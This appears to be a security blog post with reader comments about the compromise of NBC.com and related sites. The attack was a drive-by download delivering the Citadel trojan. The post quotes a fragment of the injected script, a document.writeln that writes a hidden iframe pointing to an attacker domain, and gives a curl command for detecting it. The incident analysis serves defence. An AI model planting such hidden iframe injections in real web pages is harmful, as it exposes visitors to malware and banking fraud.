*Update: Not only NBC.com, but many other NBC sites, including Late Night with Jimmy Fallon, Jay Lenos garage and others.
document.writeln (" <iframe src="httx://walterjeffers.com/ctuk.html" width=1&nbsp..
Note that these domains are changing, this tells us that something on the server is generating the payload. This isn’t an uncommon practice, it also tells us that the script is likely still on the box. The fact that it’s impacting other sites tells us that the compromise might extend beyond the web application and onto the server. If those other sites are stored on separate boxes then we’re looking at a much bigger, network, compromise, but that is speculative at the moment.
Our research team is analyzing the case (and the malware) and we will post more updates soon. What we can tell is that you should not visit NBC’s site right now. More details on the scan results here: http://sitecheck.sucuri.net/.
The folks at hitmanpro.blog are confirming that it is a drive-by-download attack, specifically using the Citadel Trojan, used for bankin fraud and cyber-espionage. As for the attack vector leading to the compromise, that’s always a challenge to speculate on.
He goes on to explain the payload being dropped, payload hash. He goes on to break down it’s phone home mechanisms and begins to correlate this attack with others to find some association. Based on his analysis he correlates these attackers with the same group responsive for the Facebook and Verizon spear phishing attempts a few days ago. He goes on to provide a lot more data.
Some are attributing the the payload itself to be generated by the RedKit Exploit Kit, but that is still unconfirmed.
# curl -sD - http://www.nbc.com/community/video/season-4-premiere-jim-rash/n31580/ | grep "<iframe"
First, it’s either caught up in some kind of CDN cache or it’s conditional. I am not able to replicate on every box, it seems as I jump around it comes and goes but SiteCheck continues to catch it. I am starting to think that it’s caught up in cache though, which is still exceptionally dangerous for visitors.
Unfortunately more and more large and small organizations are getting hit every day with similar compromises. If you find yourself on the sad end of this stick let us know at info@sucuri.net.
hahahaha….NO. These random domains being returned is automated. How are you even a infosec blogger? Who let you on a computer?
ok genius, explain how they’re updating the iframe url with generated urls?
If you look at the site or any of the discussion on the topic you see that it is not being returned via an API, which would then support your statement, it’s being generated on the server itself. If that is the case, then there is likely a script doing the generation. As it’s still being generated it’s safe to assume that there is some script on the server doing the generation. It’s not coming from the iframe itself, something is causing it. But maybe I missed the research that shows document.write also does self generation… let me know if I did..
That in turn leads you to believe that if a script is still on the box creating the generation regardless of it being removed that it is feasible that it also contains the backdoor to gain access or that another backdoor also exists giving them access. But the sheer fact that its still generating, does that not constitute access?
But you’re right, what do I know. Would love to see your post or documentation that better explains the regeneration.
And that, folks, is how you reply to a troll.
Wrong. The only correct response is none. You starve a troll. Duh.